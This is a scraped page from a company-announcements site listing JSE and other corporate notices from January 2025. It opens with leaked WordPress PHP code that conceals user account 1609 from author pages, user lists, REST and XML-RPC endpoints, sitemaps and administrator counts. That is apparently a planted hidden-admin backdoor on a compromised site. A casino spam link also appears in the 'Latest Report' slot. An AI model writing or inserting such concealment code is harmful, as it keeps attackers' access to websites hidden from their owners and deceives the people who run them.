add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 1609;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 1609 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 1609;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 1609;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 1609;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 1609;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Live Announcements - InsidEntity
Announcements
Reports, announcements, press releases, and curated insights based on the most recent data.
Latest Report:
Free Revolves for the Ports Rating play leon casino app Free Revolves Incentives from the Web based casinos
Read More
Argent Industrial Limited: Dealings In Shares By Associate Of A Director And A Director
Companies
Published on: January 3, 2025
In compliance with paragraphs 3.63 to 3.74 of the JSE Limited Listings Requirements, the following information regarding the dealing in... Read More
Old Mutual Limited: Change In Directorate
Companies : Directors
Published on: January 3, 2025
Shareholders of the Company are referred to the announcement released on the Stock Exchange News Service this afternoon, 2 January... Read More
Anglo American plc: Total Voting Rights
Companies
Published on: January 3, 2025
The following notification is made by the UK Financial Conduct Authority’s Disclosure Guidance and Transparency Rule 5.6. As of 6... Read More
Resilient REIT Limited: Interest Payment Notification
Companies
Published on: January 3, 2025
Resilient REIT Limited RES65 ISIN: ZAG000200064 Interest period: 23 October 2024 - 22 January 2025 Interest amount due: ZAR... Read More
GLOBE TRADE CENTRE S.A.: Acquisition Of The German Residential Portfolio From LFH Portfolio Acquico S.À R.L. And Peach Property Group AG
Companies
Published on: January 3, 2025
About the current report no. 21/2024 dated 16 November 2024, the Management Board of Globe Trade Centre S.A. (the “Company”... Read More
Tharisa plc: Transfer Of Treasury Shares And Total Voting Rights
Companies
Published on: January 3, 2025
In compliance with the FCA’s Disclosure and Transparency Rule 5.6.1, Tharisa hereby notifies the market that as of 2 January... Read More
Lighthouse properties Plc: Dealings In Securities By An Associate Of A Director Of The Company
Companies
Published on: January 3, 2025
Shareholders are advised of the following information relating to dealings in securities by an associate of a director of Lighthouse:... Read More
AVI Limited: Dealing In Avi Shares By An Avi Director
Companies
Published on: January 3, 2025
In compliance with Rules 3.63 – 3.74 of the Listings Requirements of the JSE Limited (“the JSE”), the following information... Read More
Stena AB Group: Interim Report For The Nine-Month Period, 1 January – 30 September 2024
Companies : Finance
Published on: January 3, 2025
Stena AB Group · Consolidated EBITDA: for the nine months ended 30 September 2024 amounted to Sek 11,792 (10,904) million... Read More
STRABAG: Expansion To Australia: Signing Completed
Companies
Published on: January 3, 2025
100% acquisition of Georgiou Group Pty Ltd Approval received from FIRB and STRABAG SE Supervisory Board The purchase agreement for... Read More
« Previous
1
…
25,653
25,654
25,655
25,656
25,657
…
25,848
Next »